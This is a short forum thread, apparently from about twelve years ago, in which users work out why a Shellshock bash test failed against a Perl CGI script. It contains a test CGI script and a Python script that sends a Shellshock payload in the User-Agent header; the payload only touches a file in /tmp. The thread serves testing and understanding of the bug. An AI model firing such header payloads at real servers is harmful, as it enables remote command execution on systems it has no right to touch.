3 ms·
Odd. I am running quite old software: echo $0 -> bash ls -l /bin/sh -> /bin/bash GNU bash, version 3.1.17(2)-release Apache/2.2.25 And I couldn't repr
by candl 12y ago
Odd. I am running quite old software:
echo $0 -> bash
ls -l /bin/sh -> /bin/bash
GNU bash, version 3.1.17(2)-release
Apache/2.2.25
And I couldn't reproduce the vurnerability in a perl cgi script unless I had explicitly referenced an environment variable in the system() call like I posted above. I thought all versions are vurnerable.
#test-cgi.pl
use strict;
use warnings;
use CGI;
print "Content-Type: text/plain\n\n";
my $q = CGI->new();
print "\nHEADERS:\n==============\n";
my %headers = map { $_ => $q->http($_) } $q->http();
foreach my $k ( keys %headers ) {
print "$k\n $headers{$k}\n";
}
system("echo hello");
#request.py
import socket
def build_request(meth, host, path, headers=None):
req = "%s %s HTTP/1.0\r\nHost: %s\r\n" % (meth, path, host)
if headers is not None:
req = req + "\r\n".join(headers) + "\r\n"
return req + "\r\n"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip_addr = 'xxx.xxx.xxx.xxx'
sock.connect((ip_addr, 80))
headers = [
'User-Agent:() { :; }; /bin/touch /tmp/testshellshock;',
]
req = build_request("GET", ipaddr, "/cgi-bin/test-cgi.pl", headers)
sock.sendall(req)
- rbh42 12y agoFrom "man perlfunc" unser "system": If there is only one scalar argument, the argument is checked for shell metacharacters, and if there are any, the entire argument is passed to the system's command shell for parsing (this is "/bin/sh -c" on Unix platforms, but varies on other platforms). If there are no shell metacharacters in the argument, it is split into words and passed directly to "execvp", which is more efficient. So your example does not invoke the shell.
- candl 12y agoPassing a shell metacharacter to the system function does indeed then trigger the vurnerability. Thanks as I didn't realize it wasn't calling the shell otherwise.